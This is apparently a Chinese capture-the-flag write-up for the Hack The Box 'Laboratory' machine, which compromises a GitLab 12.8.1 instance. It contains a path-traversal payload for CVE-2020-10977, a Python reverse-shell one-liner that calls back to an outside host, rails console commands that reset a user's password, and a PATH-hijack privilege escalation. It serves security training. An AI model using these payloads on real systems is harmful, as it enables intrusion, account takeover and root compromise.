国际惯例,先执行nmap扫描

image-20210401124339754

看到跳转到laboratory.htb,配置host文件,指向10.10.10.216,访问查看是个啥。

image-20210401114204630

按照国际惯例第二步,查看目录。使用dirb来爆破目录,此处尝试了半天没有发现任何有用信息,只是发现可以目录浏览,https://laboratory.htb/assets/,当然下面也没有任何有用信息,都是一些css文件和图片。

目前来看没有下一步的方法,肯定是有啥没被发现。再去扫一遍端口,想看看是不是遗漏了啥,但是发现结果仍然一样,不过注意到了其中的一个DNS名称:git.laboratory.htb。

同样配置后访问发现是一个gitlab服务,需要注册一个账号。注册完成后登陆即可,然后发现一个公开的库,是刚才那个网站的前端代码,跟上面浏览的一致,也没啥

image-20210401125022916

发现一个issus,提交是说服务有问题,那这个418是啥。状态代码418被定义为愚人节的笑话,并且“预计不会被实际的HTTP服务器实现”。

image-20210401125355719

这就是个愚人节玩笑,难道这个有用?查了一下发现触发类似某种特定情况下,比如未知的错误会被定向到418,但是这个系统好像没有这一说。

搜一下gayhub,查到一个CVE-2020-10977,文件读取漏洞,尝试执行读取passwd查看。后续并没有找到可以帮助获取权限的敏感文件,返回基本都是400。

image-20210401140849690

正好根据这个靶场看一下这个漏洞怎么执行。需要先创建两个项目,如test1,test2。

在一个项目下创建一个issus,写入如下内容

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

image-20210402132824827

然后再移动这个issus到另一个项目下

image-20210402133032215

然后在test2下就可以看到一个可以下载的passwd文件。

image-20210402133117660

后续的RCE就是读取了/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml中的密钥

获取其中的secret_key_base

image-20210402133905331

在gayhub上又找一个RCE可以使用,利用的也是上面的文件读取来获取key,然后在构造一个payload来执行rails控制台。需要先修改一些参数。

image-20210401143832510

需要监听端口,执行后监听端口反弹shell。不过这个shell及其不稳定,需要获取一个较为稳定的shell。

image-20210401143900205

新建一个文件写入python的反弹shell代码,如下

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

开启一个http服务,然后运行下载此文件,系统上存在的python命令是python3。

image-20210401151620979

监听1234端口后,就能收到一个较为稳定的shell,在使用pty来升级一下。

image-20210401151716618

当前的git用户权限并不高,也没有sudo权限。上传linpeas.sh文件,来查看一下是否有能提权的方法。

当前的可登陆用户就这几个,可能是直接获取root权限,不然就是获取别的用户权限再去获取root权限。查看一下其他用户是否能切换等。

git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
root:x:0:0:root:/root:/bin/bash

这几个用户并没有自己的用户目录,也不能进行查询切换等,基本是无用信息。内核为5.4版本,是多担心利用内核漏洞提权。尝试了一圈没发现能顺利提权的东西,那这个shell是给来做啥的。。。

仔细看一下发现是个docker环境,可能是docker部署的gitlab,然后我们要拿到的应该是主机的权限。

搜了一下有关的信息,看到一个rails命令,也跟shell的初始目录一致。这是一个命令行与GitLab实例进行交互的方法。Rails Runner还可以运行ruby代码。回头看一下漏洞执行代码,发现好像也是利用了这个性质来执行的ruby代码。还可以修改用户信息等,那么可以尝试一下是否能修改原来库的创建者的密码,也就是dexter 。执行的时候一直在报错,提示不正确。查一下错,发现是参数使用不正确。

image-20210401163139147

使用如下执行修改密码为test123456

git@git:~/gitlab-rails/working$ gitlab-rails console -e production
gitlab-rails console -e production
--------------------------------------------------------------------------------
 GitLab:       12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL:   10.12
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.2)
irb(main):001:0> user = User.where(username:"dexter").first
user = User.where(username:"dexter").first
user = User.where(username:"dexter").first
=> #<User id:1 @dexter>
irb(main):002:0> user.password = "test123456"
user.password = "test123456"
user.password = "test123456"
=> "test123456"
irb(main):003:0> user.save!
user.save!
user.save!
Enqueued ActionMailer::DeliveryJob (Job ID: 1c4bf31e-e3f6-4056-9685-45f6a4c7d2e2) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007ff5fd3ef940 @uri=#<URI::GID gid://gitlab/User/1>>
=> true
irb(main):004:0>

登陆后发现还有一个SecureDocker库。

image-20210401163609462

在目录下找到一个dexter/.ssh目录,里面存在ssh的私钥信息。那就直接登陆查看。试了一圈发现不能登陆,一直提示格式不对,查了一圈发现这个id_rsa是新的openssh生成的新格式私钥。

image-20210402112405208

内容是OPENSSH PRIVATE开头的,服务器上需要的可能不是新格式,所以我们需要转换为RSA PRIVATE格式。

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsZfDj3ASdb5YS3MwjsD8+5JvnelUs+yI27VuDD7P21odSfNUgCCt
.......
XCVyJn9QMEbE4fdpKGVF+MS/CkfE+JaNH9KOLvMrlw0bx3At681vxUS/VeISQyoQGLw/fu
uJvh4tAHnotmkAAAAPcm9vdEBsYWJvcmF0b3J5AQIDBA==
-----END OPENSSH PRIVATE KEY-----

下载https://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exe,然后打开File–>load private key,加载后点击conversions–>export openssh key第一项导出即可。格式如下。

-----BEGIN RSA PRIVATE KEY-----
MIIG4wIBAAKCAYEAsZfDj3ASdb5YS3MwjsD8+5JvnelUs+yI27VuDD7P21odSfNU
......
5iqrf2njCLyuQRo1W4kpgWjwVMdZVwqzdn/LQ1UaE95ppDDdwAeNS//8rR24oD+b
+FbxNZUCzUgDmQ0PiwOs07JtFaE+HMuickqFx5W96gOye6dLD+8u
-----END RSA PRIVATE KEY-----

利用登陆查看,别忘记切换600的权限。

image-20210402112848551

获取第一个用户的flag

image-20210402112936133

按照惯例,先查看SUID位,发现存在一个不和谐的文件/usr/local/bin/docker-security。是一个二进制文件,执行没有反应。利用ltrace来查看一个调用跟踪。

image-20210402114714292

大概就是一个限制docker权限的文件,先设置uid和gid位,后续执行chmod来调整权限。相当于用root的权限来限制。没有设置全路径,所以可以修改文件的执行目录,让先从我们设定的目录开始查找命令执行。利用环境变量来提权,参考:https://xz.aliyun.com/t/2767。现在/tmp下新建一个反弹shell,名为chmod。赋予执行权限。

image-20210402124831047

监听端口后可以获取一个root的shell





# 渗透测试   # web安全  

tocToc: